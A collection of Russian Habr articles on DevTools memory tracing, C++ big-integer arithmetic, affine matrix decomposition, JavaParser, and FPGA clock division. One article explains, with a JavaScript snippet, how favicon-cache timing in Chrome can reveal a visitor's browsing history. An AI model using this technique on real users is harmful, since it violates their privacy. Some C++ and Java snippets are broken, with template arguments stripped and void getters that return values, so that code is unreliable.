Начиная с Chrome 66, DevTools трассирует C++ DOM объекты, и точно захватывает объекты и ссылки между ними. Эта фича основана на новом мощном механизме трассировки C++ объектов, который создавался для кросс-компонентной сборки мусора. В резульатате, пути в DevTools стали правильными!
Руководство к действию
======================
Файл для экспериментов: <https://ulan.github.io/misc/leak.html>
Под капотом: кросс-компонентная трассировка
===========================================
DOM-объекты управляются с помощью Blink — движка рендеринга, используемого в Chrome, отвечающего за трансляцию DOM в реальный текст и картинки на экране. Blink и его внутреняя реализация DOM написаны на C++ — и это значит, что DOM нельзя напрямую отразить в JavaScript. Вместо этого, объекты в DOM как бы делятся на две части: доступную из JS объект-обёртку, и C++-объект, являющийся представлением узла из DOM. Эти объекты содержат прямые ссылки друг на друга. Определение времени жизни и области владения компонентов, которые пересекают границы нескольких систем, в данном случае — Blink и V8, — довольно сложная задача, поскольку в ней частвуют стороны, которым нужно предварительно договориться, какие компоненты всё ещё живы, а какие стоило бы утилизировать.
В Chrome 56 и более старых версиях (например, до марта 2017), Chrome использовал механизм, называемый группировкой объектов (object grouping). Объекты связываются в одну группу, если принадлежат одному и тому же документу. Группа, и все её объекты, держатся живыми до тех пор, пока существует хоть один живой объект на конце другого подвешенного пути. Это имеет смысл в контексте узлов DOM, которые всегда связаны с содержащими их документами, формируя так называемые DOM-деревья. Но эта абстракция теряет все реальные подвешенные пути, что раньше очень осложняло отладку. Как только объекты переставали подходить под вышеописанный сценарий (например, замыкания в JavaScript, используемые как обработчики событий), реализовывать этот подход становилось затруднительно и приводило к багам, в которых JS-обёртки собирались раньше времени, что в свою очередь вело к их замене на пустые JS-обёртки с полной потерей всех свойств.
Начиная с Chrome 57, этот подход заменён на "кросс-компонентную трассировку" — механизм, который определяет живость объектов, трассируя их от JavaScript вплоть до C++ реализации в DOM, и по тому же пути назад. На стороне C++ реализована инкрементальная трассировка, которая создаёт write barriers для того, чтобы не скатиться в stop-the-world. Кросс-компонентное тестирование не только улучшает латентность, но и лучше аппроксимирует живость объектов на границе компонентов, и чинит несколько часто случающихся сценариев, которые раньше приводили к утечкам. Кроме того, благодаря этому, DevTools получили возможность делать снапшоты, которые действительно отражают состояние DOM.
> Минутка рекламы. Как вы, наверное, знаете, мы делаем конференции. Ближайшая конференция про JavaScript — [HolyJS 2018 Piter](https://holyjs-piter.ru/), которая пройдет 19-20 мая 2018 года в Санкт-Петербурге. Можно туда прийти, послушать доклады (какие доклады там бывают — описано в [программе конференции](https://holyjs-piter.ru/#schedule)), вживую пообщаться с практикующими экспертами JavaScript и фронтенда, разработчиками разных моднейших технологий. Короче, заходите, мы вас ждём! | https://habr.com/ru/post/351620/ | null | ru | null |
# Реализация длииииииинной арифметики на C++
В большинстве современных языков программисту уже не нужно заботиться о числах, с которыми процессор непосредственно манипулировать не может. Где-то, как в Python или Haskell, поддержка длинных целочисленных типов встроена прямо в ядро языка, где-то, как в Java или C#, реализована в виде отдельных классов. Но в стандартной библиотеке языка C++ длинные числа до сих пор не поддерживаются. Поэтому я решил написать её сам.
##### Структура класса
Первое, что нужно решить — это то, как хранить наше число. Я храню его в виде массива цифр, в обратном порядке (это позволяет проще реализовывать все операции), сразу по 9 цифр в одном элементе массива (что позволяет сэкономить память):
```
class big_integer {
// основание системы счисления (1 000 000 000)
static const int BASE = 1000000000;
// внутреннее хранилище числа
std::vector \_digits;
// знак числа
bool \_is\_negative;
};
```
В моей реализации будет сразу два представления нуля — в виде пустого вектора и в виде вектора с одним-единственным нулём.
##### Создание числа
Первое, что нужно научиться делать — это создавать число. Вот так оно преобразуется из строки, содержащей цифры:
```
big_integer::big_integer(std::string str) {
if (str.length() == 0) {
// из пустой строки создается ноль
this->_is_negative = false;
}
else {
if (str[0] == '-') {
str = str.substr(1);
this->_is_negative = true;
}
else {
this->_is_negative = false;
}
// Вообще-то i должно иметь тип size_t. Но так как это беззнаковый тип,
// а в int размер теоретически может и не влезть, я использовал long long
for (long long i = str.length(); i > 0; i -= 9) {
if (i < 9)
this->_digits.push_back(atoi(str.substr(0, i).c_str()));
else
this->_digits.push_back(atoi(str.substr(i - 9, 9).c_str()));
}
// удалим из числа ведущие нули, если они есть
this->_remove_leading_zeros();
}
}
```
Код процедуры удаления ведущих нулей прост до безобразия:
```
void big_integer::_remove_leading_zeros() {
while (this->_digits.size() > 1 && this->_digits.back() == 0) {
this->_digits.pop_back();
}
// этот код нужен, чтобы у нас не было отрицательного нуля
if (this->_digits.size() == 1 && this->_digits[0] == 0) this->_is_negative = false;
}
```
Также нам нужно уметь преобразовывать обычные числа в длинные:
```
big_integer::big_integer(signed long long l) {
if (l < 0) { this->_is_negative = true; l = -l; }
else this->_is_negative = false;
do {
this->_digits.push_back(l % big_integer::BASE);
l /= big_integer::BASE;
} while (l != 0);
}
big_integer::big_integer(unsigned long long l) {
this->_is_negative = false;
do {
this->_digits.push_back(l % big_integer::BASE);
l /= big_integer::BASE;
} while (l != 0);
}
```
Код преобразования из остальных типов еще проще, я не стал приводить его здесь.
##### Вывод числа
Теперь нам нужно научиться печатать наше число в поток и преобразовывать его в строку:
```
std::ostream& operator <<(std::ostream& os, const big_integer& bi) {
if (bi._digits.empty()) os << 0;
else {
if (bi._is_negative) os << '-';
os << bi._digits.back();
// следующие числа нам нужно печатать группами по 9 цифр
// поэтому сохраним текущий символ-заполнитель, а потом восстановим его
char old_fill = os.fill('0');
for (long long i = static_cast(bi.\_digits.size()) - 2; i >= 0; --i) {
os << std::setw(9) << bi.\_digits[i];
}
os.fill(old\_fill);
}
return os;
}
big\_integer::operator std::string() const {
std::stringstream ss;
ss << \*this;
return ss.str();
}
```
##### Сравнение чисел
Теперь нам нужно научиться сравнивать два числа друг с другом. Теория говорит, что для этого достаточно всего двух операций, остальные могут быть выведены на их основе. Итак, сначала научимся сравнивать два числа на равенство:
```
bool operator ==(const big_integer& left, const big_integer& right) {
// числа разных знаков точно не равны
if (left._is_negative != right._is_negative) return false;
// поскольку у нас два представления нуля, нужно это особо обработать
if (left._digits.empty()) {
if (right._digits.empty() || (right._digits.size() == 1 && right._digits[0] == 0)) return true;
else return false;
}
if (right._digits.empty()) {
if (left._digits.size() == 1 && left._digits[0] == 0) return true;
else return false;
}
// так как у нас нет ведущих нулей, то в числах должно быть одинаковое количество цифр (разрядов)
if (left._digits.size() != right._digits.size()) return false;
for (size_t i = 0; i < left._digits.size(); ++i) if (left._digits[i] != right._digits[i]) return false;
return true;
}
```
Теперь проверим, меньше ли одно число другого:
```
bool operator <(const big_integer& left, const big_integer& right) {
if (left == right) return false;
if (left._is_negative) {
if (right._is_negative) return ((-right) < (-left));
else return true;
}
else if (right._is_negative) return false;
else {
if (left._digits.size() != right._digits.size()) {
return left._digits.size() < right._digits.size();
}
else {
for (long long i = left._digits.size() - 1; i >= 0; --i) {
if (left._digits[i] != right._digits[i]) return left._digits[i] < right._digits[i];
}
return false;
}
}
}
```
Здесь мы используем унарное отрицание, чтобы сменить знак числа. Также я для симметрии ввел унарный плюс:
```
const big_integer big_integer::operator +() const {
return big_integer(*this);
}
const big_integer big_integer::operator -() const {
big_integer copy(*this);
copy._is_negative = !copy._is_negative;
return copy;
}
```
Знания о том, почему нужно возвращать const big\_integer, а не просто big\_integer, а также о правилах выбора между дружественной функцией-оператором и оператором-членом класса, я подчерпнул из [этой статьи](http://habrahabr.ru/post/132014/).
Дальше все совсем просто:
```
bool operator !=(const big_integer& left, const big_integer& right) {
return !(left == right);
}
bool operator <=(const big_integer& left, const big_integer& right) {
return (left < right || left == right);
}
bool operator >(const big_integer& left, const big_integer& right) {
return !(left <= right);
}
bool operator >=(const big_integer& left, const big_integer& right) {
return !(left < right);
}
```
##### Арифметические операции
###### Сложение
Я не стал мудрить с операциями и реализовал обычное школьное сложение в столбик. Поскольку нам в любом случае нужно будет создать новое число как результат операции, я сразу копирую в стек левый операнд по значению и прибавляю числа непосредственно к нему:
```
const big_integer operator +(big_integer left, const big_integer& right) {
// мы напишем лишь сложение двух положительных чисел
// остальное мы выведем, используя смену знака и вычитание
if (left._is_negative) {
if (right._is_negative) return -(-left + (-right));
else return right - (-left);
}
else if (right._is_negative) return left - (-right);
int carry = 0; // флаг переноса из предыдущего разряда
for (size_t i = 0; i < std::max(left._digits.size(), right._digits.size()) || carry != 0; ++i) {
if (i == left._digits.size()) left._digits.push_back(0);
left._digits[i] += carry + (i < right._digits.size() ? right._digits[i] : 0);
carry = left._digits[i] >= big_integer::BASE;
if (carry != 0) left._digits[i] -= big_integer::BASE;
}
return left;
}
```
Здесь я избежал «дорогой» операции деления в случае, когда получившаяся «цифра» больше основания, по которому я работаю, путем простого сравнения.
###### Вычитание
В принципе, вычитание аналогично сложению. Нужно лишь рассмотреть случай, когда уменьшаемое меньше вычитаемого:
```
const big_integer operator -(big_integer left, const big_integer& right) {
if (right._is_negative) return left + (-right);
else if (left._is_negative) return -(-left + right);
else if (left < right) return -(right - left);
int carry = 0;
for (size_t i = 0; i < right._digits.size() || carry != 0; ++i) {
left._digits[i] -= carry + (i < right._digits.size() ? right._digits[i] : 0);
carry = left._digits[i] < 0;
if (carry != 0) left._digits[i] += big_integer::BASE;
}
left._remove_leading_zeros();
return left;
}
```
###### Инкремент и декремент
Перед реализацией этих двух операций нам нужно реализовать сложение и вычитание с присвоением:
```
big_integer& big_integer::operator +=(const big_integer& value) {
return *this = (*this + value);
}
big_integer& big_integer::operator -=(const big_integer& value) {
return *this = (*this - value);
}
```
Тогда префиксные версии операций реализуются в одну строчку, а постфиксные — лишь немногим сложнее:
```
const big_integer big_integer::operator++() {
return (*this += 1);
}
const big_integer big_integer::operator ++(int) {
*this += 1;
return *this - 1;
}
const big_integer big_integer::operator --() {
return *this -= 1;
}
const big_integer big_integer::operator --(int) {
*this -= 1;
return *this + 1;
}
```
###### Умножение
Я не стал писать быстрое умножение Карацубы, а снова использовал «школьную» арифметику:
```
const big_integer operator *(const big_integer& left, const big_integer& right) {
big_integer result;
result._digits.resize(left._digits.size() + right._digits.size());
for (size_t i = 0; i < left._digits.size(); ++i) {
int carry = 0;
for (size_t j = 0; j < right._digits.size() || carry != 0; ++j) {
long long cur = result._digits[i + j] +
left._digits[i] * 1LL * (j < right._digits.size() ? right._digits[j] : 0) + carry;
result._digits[i + j] = static_cast(cur % big\_integer::BASE);
carry = static\_cast(cur / big\_integer::BASE);
}
}
// не забудем про знак
result.\_is\_negative = left.\_is\_negative != right.\_is\_negative;
result.\_remove\_leading\_zeros();
return result;
}
```
###### Деление
Поскольку я не нашел в Интернете быстрых способов деления, воспользуемся школьным делением уголком. Начнем делить со старших разрядов. Нам нужно уменьшить текущее значение делимого на максимально возможное число делимым. Это максимальное значение будем искать двоичным поиском. Но сначала нам нужно определить функцию «сдвига» числа вправо, которая позволит нам перебирать разряды последовательно:
```
void big_integer::_shift_right() {
if (this->_digits.size() == 0) {
this->_digits.push_back(0);
return;
}
this->_digits.push_back(this->_digits[this->_digits.size() - 1]);
// здесь размер массива равен как минимум двум и перебор идет до предпоследнего разряда,
// поэтому i имеет "верный" тип size_t
for (size_t i = this->_digits.size() - 2; i > 0; --i) this->_digits[i] = this->_digits[i - 1];
this->_digits[0] = 0;
}
```
Теперь опишем само деление:
```
const big_integer operator /(const big_integer& left, const big_integer& right) {
// на ноль делить нельзя
if (right == 0) throw big_integer::divide_by_zero();
big_integer b = right;
b._is_negative = false;
big_integer result, current;
result._digits.resize(left._digits.size());
for (long long i = static_cast(left.\_digits.size()) - 1; i >= 0; --i) {
current.\_shift\_right();
current.\_digits[0] = left.\_digits[i];
current.\_remove\_leading\_zeros();
int x = 0, l = 0, r = big\_integer::BASE;
while (l <= r) {
int m = (l + r) / 2;
big\_integer t = b \* m;
if (t <= current) {
x = m;
l = m + 1;
}
else r = m - 1;
}
result.\_digits[i] = x;
current = current - b \* x;
}
result.\_is\_negative = left.\_is\_negative != right.\_is\_negative;
result.\_remove\_leading\_zeros();
return result;
}
```
Здесь `big_integer::divide_by_zero` это пустой класс, унаследованный от `std::exception`.
###### Взятие остатка
Вообще-то в предыдущей операции остаток фактически хранится в переменной `current`. Но я задался вопросом определения знака остатка. [Википедия говорит](http://ru.wikipedia.org/wiki/%C4%E5%EB%E5%ED%E8%E5_%F1_%EE%F1%F2%E0%F2%EA%EE%EC), что остаток от деления всегда положителен. Поэтому я написал такую версию этой операции:
```
const big_integer operator %(const big_integer& left, const big_integer& right) {
big_integer result = left - (left / right) * right;
if (result._is_negative) result += right;
return result;
}
```
###### Возведение в степень
Я использовал алгоритм быстрого возведения в степень. Он требует проверки числа на нечетность. Поскольку вычислять остаток от деления на 2, мягко говоря, было бы затратно, введем такие операции:
```
bool big_integer::odd() const {
if (this->_digits.size() == 0) return false;
return this->_digits[0] & 1;
}
bool big_integer::even() const {
return !this->odd();
}
```
Теперь напишем само возведение:
```
const big_integer big_integer::pow(big_integer n) const {
big_integer a(*this), result(1);
while (n != 0) {
if (n.odd()) result *= a;
a *= a;
n /= 2;
}
return result;
}
```
Полный код класса: [pastebin.com/MxQdP5s9](http://pastebin.com/MxQdP5s9)
Всё! Теперь можно вычислить, к примеру, 21000, либо факториал 100:
```
#include
#include "big\_integer.hpp"
using namespace std;
int main() {
big\_integer bi("2"), bi2 = 100;
cout << bi.pow(1000) << endl;
big\_integer f = 1;
for (big\_integer i = 2; i <= bi2; ++i) f \*= i;
cout << f << endl;
}
```
##### Литература
1. [e-maxx.ru](http://e-maxx.ru) — сайт, посвященный олимпиадным алгоритмам
2. [cppalgo.blogspot.ru/2010/05/blog-post.html](http://cppalgo.blogspot.ru/2010/05/blog-post.html) — блог Игоря Беляева | https://habr.com/ru/post/172285/ | null | ru | null |
# Разложение матрицы аффинного преобразования
Не так давно в процессе разработки редактора 2D-графики возникла задача разложить матрицу аффинного преобразования на плоскости, на произведение матриц простых преобразований с тем, чтобы отобразить их пользователю и предложить какую-то более-менее адекватную интерпретацию того, что произошло с объектом на канвасе. Честно говоря, эта задача вызвала у меня определенные трудности. Университет я закончил уже давно, и мне было непонятно, а возможно ли это сделать в принципе, учитывая, что исходная матрица могла быть результатом произвольной последовательности сдвигов, масштабов, поворотов, и переносов, причем каждое преобразование могло иметь свой произвольный центр. И, во-вторых, непонятно было, как найти семь параметров, имея всего шесть коэффициентов матрицы. Ключом к решению этой задачи оказалась статья "Разложение матрицы центроаффинного преобразования для нормализации изображения"[¹](#1), в которой рассматривается такая же задача, но без учета преобразования переноса и для преобразований относительно центра координат. Далее я фактически просто адаптирую результаты этой статьи с учетом переноса и для произвольного центра преобразований.
Итак, пусть матрица, задающая произвольное преобразование на плоскости, имеет вид:
```
┌ ┐
│ a11 a12 0 │
M = │ a21 a22 0 │.
│ a31 a32 1 │
└ ┘
```
Ее определитель
```
det = a11⋅a22 - a12⋅a21, det ≠ 0.
```
Пусть точка на плоскости задается вектор-строкой вида (x, y, 1), а ее преобразование – умножением справа на матрицу преобразования:
```
┌ ┐
┌ ┐ │ a11 a12 0 │
p1 = p0 • M = │ x0 y0 1 │ • │ a21 a22 0 │
└ ┘ │ a31 a32 1 │
└ ┘
```
В упомятнутой выше статье[¹](#1) утверждается, что произвольная матрица M центроаффинного преобразования может быть представлена как произведение матриц R поворота, матрицы Hx сдвига вдоль оси X и матрицы S масштабирования:
```
Mc = R • Hx • S
```
Здесь
```
┌ ┐
│ cos(α) sin(α) 0 │
R = │ -sin(α) cos(α) 0 │,
│ 0 0 1 │
└ ┘
┌ ┐
│ 1 hx 0 │
Hx = │ 0 1 0 │,
│ 0 0 1 │
└ ┘
┌ ┐
│ sx 0 0 │
S = │ 0 sy 0 │,
│ 0 0 1 │
└ ┘
```
При разложении произвольной матрица аффинного преобразования необходимо привести центр трансформации к центру координат, а также учесть преобразование переноса:
```
M = T0 • S • H • R • T0⁻¹ • T,
┌ ┐
│ 1 0 0 │
T0 = │ 0 1 0 │,
│ -tx0 -ty0 1 │
└ ┘
┌ ┐
│ 1 0 0 │
T0⁻¹ = │ 0 1 0 │,
│ tx0 ty0 1 │
└ ┘
┌ ┐
│ 1 0 0 │
T = │ 0 1 0 │.
│ tx ty 1 │
└ ┘
```
Подставив выражения для матриц простых преобразований получим следующие выражения для коэффициентов M:
```
a11 = sx⋅cos(α) - sx⋅hx⋅sin(α)
a12 = sx⋅hx⋅cos(α) + sx⋅sin(α)
a21 = -sy⋅sin(α)
a22 = sy⋅cos(α)
a31 = tx + tx0⋅(1 - (sx⋅cos(α) - sx⋅hx⋅sin(α))) + ty0⋅sy⋅sin(α)
= tx + tx0⋅(1 - a11) - ty0⋅a21
a32 = ty + ty0⋅(1 - cos(α)⋅sy) - tx0⋅(sx⋅hx⋅cos(α) + sx⋅sin(α))
= ty + ty0⋅(1 - a22) - tx0⋅a12
```
Решая данные уравнения относительно sx, sy, α, hx, tx, ty, после некоторых упрощений, получим выражения для искомых параметров:
```
if a22=0
α = π/2,
sy = -a21
else
α = atan(-a21/a22),
sy = a22/cos(α),
sx = det(M)/sy,
hx = (a11⋅a21 + a12⋅a22)/det,
tx = a31 + ty0⋅a21 + tx0⋅(a11 - 1),
ty = a32 + tx0⋅a12 + ty0⋅(a22 - 1).
```
Выражения для α, sx, sy, hx сооветствуют аналогичным в статье[¹](#1), хотя и несколько отличаются от них по форме. Кроме того мы получили формулы расчета параметров преобразования переноса tx и ty. Хочется также заметить, что даже если в оригинальной последовательности присутствовали сдвиги вдоль обеих осей, в разложении достаточно лишь сдвига вдоль одной из осей (здесь – вдоль оси X). Кроме того, поскольку угол поворота определен как результат функиции арктангенса, он принципиально ограничен значениями от -90˚ до +90˚. Учитывая также, что угол поворота на 180˚ соответсвует sx=-1 и sx=-1, мы имеем здесь некоторую неоднозначность. Например, изначально имея поворот на 120˚ при разложении по данному алгоритму мы получим -60˚ и sx=sy=-1.
---
¹) [Путятин Е.П., Яковлева Е.В., Любченко В.А. «Разложение матрицы центроаффинного преобразования для нормализации изображения»](http://cyberleninka.ru/article/n/razlozhenie-matritsy-tsentroaffinnogo-preobrazovaniya-dlya-normalizatsii-izobrazheniy) | https://habr.com/ru/post/278597/ | null | ru | null |
# JavaParser. Корёжим код легко и непринуждённо
В мире существует множество клёвых маленьких библиотек, которые как бы и не знаменитые, но очень полезные. Идея в том, чтобы потихоньку знакомить Хабр с такими вещами. Сегодня расскажу о JavaParser.
JavaParser — это набор инструментов для парсинга, анализа, трансформации и генерации Java-кода. Иначе говоря, если нужно взять кусок джавакода и как-то его покорёжить подручными методами и без необходимости в особых знаниях, эта либа — самое то.
Где-то посреди статьи вы ВНЕЗАПНО можете осознать, какой кошмар и ужас можно сотворить этой либой, и никак не дождётесь дочитать текст и полить меня гневными комментариями. Не сдерживайтесь, не стоит — сразу скрольте до самого низу и изливайте душу :)
Код распространяется [на гитхабе](https://github.com/javaparser) под лицензиями Apache, LGPL и GPL. Авторы сделали для проекта относительно приличный сайт, и даже запилили [небольшую книжку](https://leanpub.com/javaparservisited), распространяемую совершенно бесплатно — что как бы подтверждает серьёзность их намерений.
Я перекинулся парой вопросов с авторами либы на FOSDEM, авторы оставляют впечатление умных и адекватных людей. Эта статья основана [на их докладе](https://fosdem.org/2018/schedule/event/code_how_to_generate_transform_analyze_refactor_java_code/).
Что делает эта либа? Вначале она превращает Java-код в AST (абстрактное синтаксическое дерево) — parsing. Во-вторых, она может взять уже готовый AST и превратить его в Java-код — unparsing.
В чем тут засада, и зачем нам вообще нужны библиотеки. Глядите:
```
String habraPostText = "Пыщ пыщ пыщ, ололо, я водитель НЛО";
public void writeHabraPost(String habraPostText) {
habraPostText = "Привет, Хабр. Я сегодня пьян.";
}
public void writeHabraPost() {
habraPostText = "Привет, Хабр. Я сегодня пьян.";
}
```
Для обоих этих методов AST в JavaParser сгенерится одинаковый. Конкретная нода в AST не знает, откуда именно пришел `habraPostText`.
Или например, у нас будут методы `aMethod(int foo)` и `aMethod(String foo)`, внутри которых переменная печатается с помощью `System.out.println`. AST тоже выйдет одинаковый.
Поэтому в JavaParser есть так называемый `symbol solver`, который каждому куску AST вычисляет конкретные соответствующие куски исходника. Он у них лежит в виде [отдельного проекта на GitHub под названием JSS](https://github.com/javaparser/javasymbolsolver).
Существует код, который JavaParser может просчитать и без JSS. Например, если мы дёргаем у поля геттер, то ссылка на вызываемое поле закодирована прямо в код. С другой стороны, если есть метод, в котором как-то хитро вычисляется возвращаемый тип, то тут уже нужно подключать тяжелую артиллерию, коей является JSS. Вручную написать такую штуку было бы весьма сложно.
Теперь, зачем всё это может быть нужно. Например, вы хотите автоматизировать генерацию мусорного кода (привет, Lombok!). Или написать транспилер, который код на каком-то выдуманном вами скриптовом языке будет превращать в Java.
Код, который такое делает, очень простой. Давайте сделаем класс хабрапоста:
```
CompilationUnit cu = new CompilationUnit();
cu.setPackageDeclaration("ru.habrahabr.hub.java.examples.javaparser");
ClassOrInterfaceDeclaration habraPost = cu.addClass("HabraPost");
habraPost.addField("String", "title");
habraPost.addField("String", "text");
```
И теперь добавим конструктор, заставляющий заполнить эти поля:
```
habraPost.addConstructor(Modifier.PUBLIC)
.addParameter("String", "title")
.addParameter("String", "text")
.setBody(new BlockStmt()
.addStatement(new ExpressionStmt(new AssignExpr(
new FieldAccessExpr(new ThisExpr(), "title"),
new NameExpr("title"),
AssignExpr.Operator.ASSIGN)))
.addStatement(new ExpressionStmt(new AssignExpr(
new FieldAccessExpr(new ThisExpr(), "text"),
new NameExpr("text"),
AssignExpr.Operator.ASSIGN))));
```
Теперь сгенерим бойлерплейт для геттеров-сеттеров:
```
habraPost.addMethod("getTitle", Modifier.PUBLIC).setBody(
new BlockStmt().addStatement(
new ReturnStmt(new NameExpr("title"))));
habraPost.addMethod("getText", Modifier.PUBLIC).setBody(
new BlockStmt().addStatement(
new ReturnStmt(new NameExpr("text"))));
```
И теперь распечатаем наш класс в консоль:
```
System.out.println(cu.toString());
```
На выходе получится что-то вроде:
```
package ru.habrahabr.hub.java.examples.javaparser;
public class HabraPost {
String title;
String text;
public HabraPost(String title, String text) {
this.title = title;
this.text = text;
}
public void getTitle() {
return title;
}
public void getText() {
return text;
}
}
```
Кроме того, можно тут же проделать какие-нибудь исследования кода. Например, чтобы изучить его качество и оформить это в виде автотеста.
```
long wtfs = getNodes(myAPI, MethodDeclaration.class).stream()
.filter(m -> m.getParameters().size > 10)
.count();
System.out.println(String.format("Количество методов, за которые тебя стоит уволить: %d", wtfs));
```
Я не буду ударяться в сложные примеры, так как там всё видно по API. Единственная реально необычная фича, это то, что можно позвать JSS и покопаться в типах. Например, давайте найдём такой класс, который унаследован от максимального количества других классов (рекурсивно):
```
ResolvedReferenceTypeDeclaration c =
getNodes(myAPI, ClassorInterfaceDeclaration).stream()
.filter(c -> !c.isInterface())
.map(c -> c.resolve()) // JSS!
.sorted(Comparator.comparingInt(o -> -1 * o.getAllAncestors().size)))
.findFirst().get();
```
В результате, эту либу можно использовать для автоматического рефакторинга. Для этого можно не иметь продвинутых рефакторилок внутри IDE, а ограничиться исключительно возможностями JavaParser. Давайте сделаем рефакторинг: замену вызова более старого метода на более новый.
Помните вот эту историю?
Допустим у нас есть метод `checkMegamozg(Boolean moderatorInAGoodMood)`, который [Boomburum](https://habrahabr.ru/users/boomburum/) запускает у себя в мозгу 666 раз в день. Нужно превратить его в `checkHabrahabr(Boolean moderatorInAGoodMood)`.
Вначале мы ищем нужный метод:
```
getNodes(myAPI, MethodCallExpr.class).stream()
.filter(m -> m.resolveInvokedMethod()).
getQialifiedSignature()
.equals("ru.habrahabr.Habr.checkMegamozg(java.lang.Boolean)"))
.forEach(m -> m.replace(replaceCallsToMegamozg(m)));
```
Теперь как именно будет выглядеть замена:
```
public MethodCallExpr replaceCallsToMegamozg() {
MethodCallExpr newMethodCall = new MethodCallExpr(
methodCall.getScope.get(), "checkHabrahabr");
newMethodCall.addArgument(methodCall.getArgument(0));
return newMethodCall;
}
```
Причём если где-то там внутри методов затесались комментарии (привет, [lany](https://habrahabr.ru/users/lany/)!), JavaParser всячески пытается их не потерять. Это жутко неприятная задача и авторы очень парятся об этой теме.
Как видим, эта либа — как маленький швейцарский ножик, простая и относительно надёжная. В будущем будут добавляться небольшие фичи типа встроенного языка шаблонов, чтобы можно было генерить Java-классы не вручную, а подгрузив их из файла и заменив `${плейсхолдеры}`.
Вродё всё. Ставьте лайки, подписывайтесь, и обязательно расскажите о том, что думаете об этой либе! Кроме того, можно заказать мне мини-обзор ещё какой-нибудь библиотеки — самые лучшие предложения превратятся в хабропосты.
> Минутка рекламы. Как вы, наверное, знаете, мы делаем конференции. Ближайшие — [JBreak 2018](http://jbreak.ru) и [JPoint 2018](https://jpoint.ru/). Можно туда прийти и вживую пообщаться с разработчиками разных моднейших технологий, например там будет [Simon Ritter](https://2018.jbreak.ru/speakers/6v9tls2dwwae4s6gcs4kkk/) — Deputy CTO из Azul Systems. Там же можно встретиться c [Виктором Гамовым](https://2018.jbreak.ru/speakers/7fuk0541rsoqggsgsicsi0/) из "Разбора Полётов" и кучей других интересных людей (и с бездельниками типа меня тоже можно пересечься). Короче, заходите, мы вас ждём. | https://habr.com/ru/post/348710/ | null | ru | null |
# Новая утечка истории браузера через favicon
Недавно наткнулся на это исследование [pdf](http://web.archive.org/web/20210210122008/https://www.cs.uic.edu/~polakis/papers/solomos-ndss21.pdf) (по его мотивам уже была [статья](https://habr.com/ru/company/itsumma/blog/542734/) на хабре), после прочтения, решил поискать более интересные способы использования F-Cache. Объективно, схему с редиректами никто в здравом уме не будет ставить на свой сайт. Это утечка, но утечка представляющая больше теоретический интерес, чем практический(имхо).
Обозначил цель(найти способ проверить F-Cache через javascript) и начал поиски. В ходе экспериментов выделил несколько способов это сделать, но опишу самый интересный, на мой взгляд.
Заранее предупреждаю — это не кроссбраузерное решение. На данный момент, проверял только на десктопных хромах.
Предварительный тест можно пройти здесь: <https://favicon-leak.site/>
Как это работает
----------------
У хрома есть два типа ресурсного кеша: disk и memory. Как многие догадались, disk cache это перманентное хранилище ресурсов, но со своей задержкой на чтение(1+ ms). В свою очередь, memory cache используется для временного хранения часто используемых ресурсов, а чтение, в среднем, мгновенное (0 ms). Таким образом, помещая ресурс в memory cache браузер уменьшает количество чтений с диска и увеличивает скорость повторной загрузки самих ресурсов.
Когда мы первый раз загружаем картинку через ![](), то ее либо загрузит по src, либо достанет из disk cache. В обоих случаях эта картинка, чаще всего, помещается в memory cache. Рассмотрим такой javascript код:
```
var img = new Image();
img.src = some_image_url;
if (img.complete && img.height + img.width > 0) {
// Это условие TRUE, только когда картинка успешно была прочитана из memory cache
}
```
Именно этот код позволяет проверить наличие картинки в memory cache. Из этого можно сделать такой вывод: если загрузить ![]() минимум два раза, то во второй раз картинка должна загружаться уже из memory cache.
Поведение тега отличается от ![]() и повторная загрузка одной картинки всегда читает ее с диска:
Ключевой находкой стало такое поведение браузера:
Как мы видим, после загрузки картинки через , она помещается в disk cache и при повторном чтении ее через ![]() она загружается с диска(даже если уже была в memory). Это нормальное поведение браузера для картинки, которой нет в F-Cache. **НО! Если картинка для загружена из F-Cache, то это никак не влияет на состояние, предварительно загруженной в memory cache, картинки.** Вероятно, это связанно с тем, что F-Cache никак не взаимодействует с сетевым уровнем. Следовательно, если после
![]() + ![]() + + ![]() <— загрузка этой картинки произошла мгновенно, то мы можем сделать вывод, что эта картинка была в F-Cache т.к. она не была удалена из memory cache. Вот и вся хитрость, позволяющая проверять наличие картинки в F-Cache.
Важно заметить, что этот метод не 100%-но надежный, т.к. мы не можем точно проверить была ли вообще загруженна картинка в (например, могла произойти сетевая ошибка), поэтому я использую setTimeout. Чем больше timeout, тем выше вероятность, что успел прогрузиться.
Про F-Cache
-----------
F-Cache привязан к конкретному профилю, поэтому если вы хотите протестировать с нуля, то лучше всего создать новый профиль в браузере. Время жизни иконок в F-Cache индивидуально для каждой иконки и зависит от cache policy домена-владельца. F-Cache в инкогнито работает только в read-only режиме.
Про сайт https://favicon-leak.site/
-----------------------------------
Используя автоматизированный хром, я собрал небольшой список ссылок на favicon-ы популярных сайтов. <https://favicon-leak.site/> проверяет иконки из этого списка. Возможно, когда вы будете читать эту статью какие-то ссылки уже устареют и будут возвращать ложноотрицательный результат.
[Код на github](https://github.com/1chtulhu/favicon-leak) | https://habr.com/ru/post/543282/ | null | ru | null |
# Организация делителя частоты с дробным коэффициентом деления в объёме ПЛИС
*Статья посвящена актуальной задаче деления тактовых частот, стоящей перед разработчиками широкого спектра цифровых устройств на основе ПЛИС. Предложенные технические решения могут оказаться полезными при проектировании заказных и серийных СБИС. Рассмотрены два примера технической реализации делителей частоты с дробными коэффициентами деления 3:2 и 5:2. Оба варианта делителей описаны в виде поведенческих моделей на языке Verilog, что позволяет реализовать данные функциональные узлы в объёме ПЛИС различных архитектур и производителей.*
При разработке цифровых устройств нередко возникает необходимость разделять функциональные блоки на группы, использующие синхросигналы с разными параметрами (т.н. домены синхронизации – Clock Domain). Основными параметрами любого синхросигнала является тактовая частота и соответствующий ей период. Также для ряда элементов, узлов и блоков имеет значение скважность синхросигнала, определяющая длительность низкого и высокого уровней в течение периода, и нестабильность периода – параметр «Jitter».
Несмотря на наличие в устройстве синхросигналов с различными параметрами, в большинстве случаев для генерации этих сигналов используется единый источник, — внешний генератор, формирующий опорную частоту. В конкретных проектах возможно применение нескольких генераторов, формирующих некратные опорные частоты, например частоту 48МГц для контроллера USB, частоту 3.6864МГц для каналов UART и частоту 100МГц для процессорных ядер, памяти SDRAM и контроллера сети Ethernet. Необходимые для нормального функционирования функциональных блоков СБИС или ПЛИС синхросигналы формируются из опорных сигналов путём умножения и деления частоты. Функцию умножения частоты в ПЛИС архитектуры FPGA реализуют узлы ФАПЧ (DLL, PLL, блоки DCM и CMT). Применение данных ресурсов кристалла детально описано производителями в соответствующей документации [3,4].
